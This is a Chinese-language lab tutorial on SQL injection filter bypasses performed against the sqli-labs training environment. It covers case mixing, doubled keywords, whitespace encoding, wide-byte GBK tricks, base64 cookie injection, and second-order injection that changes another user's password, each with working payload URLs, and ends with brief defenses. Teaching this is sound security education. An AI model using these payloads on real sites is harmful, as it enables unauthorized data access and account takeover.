SQL 注入的基本防御手段和绕过技术

SQL 注入的基本防御手段和绕过技术

文章目录


实验环境

  • Firefox
  • burp suite
  • sqli-labs 环境

0x01SQL的绕过技术

1.大小写绕过

如果过滤器通过关键字进行过滤并没有识别大小写,我们就可以使用大小写来进行绕过,因为 SQL 语句是不区分大小写的

原始语句

select * from users where id='1' limit 0,1

大小写摻杂注入

select * from users where id='1' And 1=1 --+'limit 0,1

问题存在的原因是:过滤器过滤了正常的关键字,但是并没有对字符串进行处理

2.注释绕过

Less-23

访问:http://192.168.37.136/sqli-labs/Less-23/

[root@localhost ~]# vim /var/www/html/sqli-labs/Less-23/index.php 

SQL 注入的基本防御手段和绕过技术

我们可以看到 Less -23 中源代码过滤了单行注释的方法,我们可以正常闭合 SQL 语句来进行绕过。

通过以上程序中代码可以看到被过滤的有 # 和 – ,因此不能使用注释进行注入,绕过注释进行注入

1.1 例1 绕过注释并爆库

http://192.168.37.136/sqli-labs/Less-23/?id=-1' union select 1,database(),'3

SQL 注入的基本防御手段和绕过技术

第三个字段前添加一个单引号来闭合 id 字段后面的单引号,我们前面用到了一种类似的方法。
语句分析:
语句中的 -1' union select 1,database(),'3,其中的 -1’ 单引号用于闭合原语句中的前面单引号,'3 是用于闭合原语句中后面的单引号

原来语句:

select * from users where id='$id' limit 0,1

注入后的语句:

select * from users where id='-1' union select 1,database(),'3' limit 0,1

由此可以拼接一条完整可执行的语句

1.2 例2 使用逻辑运算注入

http://192.168.37.136/sqli-labs/Less-23/?id=-1' union select 1,database(),3 or '1'='1

SQL 注入的基本防御手段和绕过技术

使用 and 或 or 添加一个表达式 or '1'='1

3.双写绕过

PHP过滤函数可以过滤注释符,也可以过滤关键字

Less-25

SQL 注入的基本防御手段和绕过技术

这里将 or 和 and 过滤掉了 i 过滤了大小写

例1:双写搭配大小写绕过

http://192.168.37.136/sqli-labs/Less-25/?id=1' AandNd 1=1 --+

SQL 注入的基本防御手段和绕过技术

我们将一个完整的关键字包含在另一个关键字当中,当过滤器过滤掉中间的关键字时,外部的关键字会自动闭合成一个新的关键字

语句分析:

原来的语句:

http://192.168.37.136/sqli-labs/Less-25/?id=1' AandNd 1=1 --+

被注入后的语句:

SELECT * FROM users WHERE id='1' ANd 1=1 -- ' LIMIT 0,1

4.关键字等价绕过

Less-25

SQL 注入的基本防御手段和绕过技术

由代码中可看到过滤 and 和 or

修改源代码方便我们查看我们注入的最终 SQL 语句:

[root@localhost ~]# vim /var/www/html/sqli-labs/Less-25/index.php 

在第 45 行插入 echo "<br>".$sql;

SQL 注入的基本防御手段和绕过技术

例1:

http://192.168.37.136/sqli-labs/Less-25/?id=1 && id=2 --+

SQL 注入的基本防御手段和绕过技术

我们可以看到这条语句 id=1 后面并没有单引号,原因是使用&& 进行连接时不需要进行闭合,流程为 id=1 然后继续执行 id=2 最后 --+ 单行注释

例2:

http://192.168.37.136/sqli-labs/Less-25/?id=-1' || id=2 --+

SQL 注入的基本防御手段和绕过技术

这里 id=-1’ 使用SQL 语句报错并使用单引号进行闭合,然后拼接 || 执行 id=2 最终 --+ 单行注释

|| 前面 SQL 语句 执行失败才会执行后面语句,需要我们手动将前面代码进行报错,

5.绕过去除空格

Less-26

可以替代空格使用的符号:

%20  %09  %0a  %0b  %0c  %0d  %a0  /**/       #ascii 码转 url 编码

例:当前案例测试只有 %a0 可以替换成功

http://192.168.37.136/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271 

SQL 注入的基本防御手段和绕过技术

编码后

http://192.168.37.136/sqli-labs/Less-26/?id=0' union select 1,database(),3 && '1'='1 

SQL 注入的基本防御手段和绕过技术

说明:

%a0 //表示空格,MySQL中 %a0 代表空白符,可以替代空格
%26 //表示 & 
%27 //表示 ' 单引号

6.绕过去关键字的绕过

Less-27

源码中过滤了常用注释和 union、select

[root@localhost ~]# vim /var/www/html/sqli-labs/Less-27/index.php 

SQL 注入的基本防御手段和绕过技术

查看源码发现,这里过滤并不完善,可以利用前面学的多种方式绕过

例1:大小写绕过

http://192.168.37.136/sqli-labs/Less-27/?id=1' and%a0updatexml(1,concat(0x7e,(sElEct%a0user()),0x7e),1) and '1'='1

SQL 注入的基本防御手段和绕过技术

例2:双写绕过

http://192.168.37.136/sqli-labs/Less-27/?id=1' and%a0updatexml(1,concat(0x7e,(seselectlect%a0user()),0x7e),1) and '1'='1

SQL 注入的基本防御手段和绕过技术

例3:注释绕过

http://192.168.37.136/sqli-labs/Less-27/?id=1' and%a0updatexml(1,concat(0x7e,(se/**/lect%a0user()),0x7e),1) and '1'='1

SQL 注入的基本防御手段和绕过技术

例4:盲注绕过

http://192.168.37.136/sqli-labs/Less-27/?id=1%27%a0and%a0if((length(database())=8), sleep(3),1)%a0and%a0%271  

SQL 注入的基本防御手段和绕过技术

条件判断成立 执行 sleep 3秒

7.MySQL 宽字节绕过

利用场景:addslashes() 转义的sql注入

Less-33

http://192.168.37.136/sqli-labs/Less-33/?id=1\

SQL 注入的基本防御手段和绕过技术

我们可以看到经过addslashes() 函数过滤后我们输入的字符被转义,我们只输入的是一个\,结果反馈出来的是 \,由此证明,我们输入的\被转义了。

http://192.168.37.136/sqli-labs/Less-33/?id=-1%df' union select 1,database(),user()--+ 

SQL 注入的基本防御手段和绕过技术

我们可以看到经过addslashes() 函数过滤后我们输入的字符会被转义,我们只输入的是一个\,结果反馈出来的是 \,由此证明,我们输入的\被转义了

http://192.168.37.136/sqli-labs/Less-33/?id=-1 %df%5c%27 union select 1,database(),user() --+

SQL 注入的基本防御手段和绕过技术

这是因为 id 的参数传入代码层,就会在 ’ 前面加一个 ,由于采用了 URL 编码,所以产生的效果是:%df%5c%27,关键就在这里,在GBK编码中,两个字符表示一个汉字,所以 %df把%5c 吃掉形成了一个汉字,后面就剩一个单引号,所以此时的单引号并没有被转义了,可以发挥效果。

分析:

都知道 ’ 或 \ 被PHP 转义(用addslashes函数,或者icov等),单引号被加上反斜杠 \,变成了 \‘ 其中 \ 的十六进制是 %5c

那么注入时候可以加上%df,然后结果为 %df’ 换为URL编码则是 %df%5c%27 ,如果程序的默认字符集是GBK 等宽字节字符集,则MySQL 用GBK 的编码时,会认为 %df%5c 是一个宽字符,也就是 運 也就是说:%df\'=%df%5c%27=運',接下来单引号就可以起闭合租用了

運:读作[yun]

注入后的语句则为:

select * from users where id='-1 運' union select 1,database(),user();

MySQL 中执行一下:

MariaDB [security]> select * from users where id='-1 ?' union select 1,database(),user();

SQL 注入的基本防御手段和绕过技术

宽字符注入的必要条件,第一个字符的ASCII码 必须大于 128 ,

8.base 64 编码绕过

例:单引号的ASCII 码为 0x27 替换为URL %27

BurpSuite 集成了一些我们常用的编码方式

SQL 注入的基本防御手段和绕过技术

Less-22

访问http://192.168.37.136/sqli-labs/Less-22/

SQL 注入的基本防御手段和绕过技术

源码:

$cookie=base64_decode($cookie)
PHP代码使用base64_decode();函数来进行解码
回到代理截断请求,可以看到cookie

SQL 注入的基本防御手段和绕过技术

Cookie: uname=YWRtaW4%3D

我们可以看到 Cookie 是经过 base64 加密的我们使用 burpsuite 进行base64 加密注入

SQL 注入的基本防御手段和绕过技术

复制编码后的字符,把截获的请求发送到 Repeater

SQL 注入的基本防御手段和绕过技术

通过以上实验可以看到闭合方式是 双引号 "

点击 Decode 进行报错注入将我们设计好的 SQL 语句进行 base64 加密

原句:admin"and updatexml(1,concat(0x7e,database(),0x7e),1) or "1"="1
加密后:YWRtaW4iYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSkgb3IgIjEiPSIx

SQL 注入的基本防御手段和绕过技术

uname=YWRtaW4iYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSkgb3IgIjEiPSIx

SQL 注入的基本防御手段和绕过技术

成功爆出数据库名称

0x02 二次注入修改其他用户密码

Less-24

SQL 注入的基本防御手段和绕过技术

新建用户 admin'-- +

SQL 注入的基本防御手段和绕过技术

用户名是我们设计的 payload

登录新用户

SQL 注入的基本防御手段和绕过技术

重置密码

SQL 注入的基本防御手段和绕过技术

修改成功

SQL 注入的基本防御手段和绕过技术

查看数据库密码修改情况

[root@localhost ~]# mysql -uroot -p123456
MariaDB [security]> select * from users;

SQL 注入的基本防御手段和绕过技术

发现admin’-- + 密码没有被修改,但是admin 密码被修改成功了

分析源代码还原SQL语句

[root@localhost sqli-labs]# vim /var/www/html/sqli-labs/Less-24/pass_change.php 

第38行代码
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

SQL 注入的基本防御手段和绕过技术

我们将用户信息带入查看

UPDATE users SET PASSWORD='fengzilin' where username='admin'-- +' and password='123456';

最终执行

UPDATE users SET PASSWORD='fengzilin' where username='admin';

0x03 如何防止SQL注入

因为程序要接受用户输入的变量或URL传递的参数,并且参数或变量会被组成SQL语句的一部分被执行,这些数据我们统称为外部数据,在安全领域有一条规则;外部数据不可信任,所以我们需要通过各种方式对数据进行检测和过滤。

  1. 检查变量数据类型和格式
  2. 过滤特殊符号
  3. 绑定变量,使用预编译语句,#MySQL的 mysqli 驱动提供了预编译语句的支持

总结

本章节利用了,程序员在写代码时,没有过滤特殊代码的漏洞,在写代码的同时要注意代码的安全性,防止SQL注入,要对用户输入的任何东西做限制,

上一篇:Mysql高性能优化


下一篇:xss-labs第三关